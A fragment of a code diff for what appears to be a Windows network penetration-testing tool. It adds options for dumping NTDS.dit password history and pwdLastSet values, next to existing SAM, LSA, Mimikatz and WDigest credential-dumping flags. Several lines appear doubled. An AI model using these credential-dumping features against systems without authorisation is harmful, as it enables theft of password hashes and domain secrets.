parser.add_argument('--kerb', action="store_true", dest='kerb', help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters') parser.add_argument('--kerb', action="store_true", dest='kerb', help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters')
parser.add_argument("--port", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)") parser.add_argument("--port", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
@ -78,6 +79,8 @@ rgroup = parser.add_argument_group("Credential Gathering", "Options for gatherin
rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems') rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems')
rgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems') rgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems')
rgroup.add_argument("--ntds", choices={'vss', 'drsuapi', 'ninja'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)") rgroup.add_argument("--ntds", choices={'vss', 'drsuapi', 'ninja'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)")
rgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
rgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
rgroup.add_argument("--mimikatz", action='store_true', help='Run Invoke-Mimikatz (sekurlsa::logonpasswords) on target systems') rgroup.add_argument("--mimikatz", action='store_true', help='Run Invoke-Mimikatz (sekurlsa::logonpasswords) on target systems')
rgroup.add_argument("--mimikatz-cmd", metavar='MIMIKATZ_CMD', help='Run Invoke-Mimikatz with the specified command') rgroup.add_argument("--mimikatz-cmd", metavar='MIMIKATZ_CMD', help='Run Invoke-Mimikatz with the specified command')
rgroup.add_argument("--enable-wdigest", action='store_true', help="Creates the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1") rgroup.add_argument("--enable-wdigest", action='store_true', help="Creates the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1")
@ -181,6 +184,11 @@ if args.combo_file and not os.path.exists(args.combo_file):
print_error('Unable to find combo file at specified path') print_error('Unable to find combo file at specified path')
shutdown(1) shutdown(1)
if args.ntds_history or args.ntds_pwdLastSet:
if not args.ntds:
print_error('--ntds-history and --ntds-pwdLastSet require --ntds')
shutdown(1)
################################################################################################################ ################################################################################################################
def get_targets(target): def get_targets(target):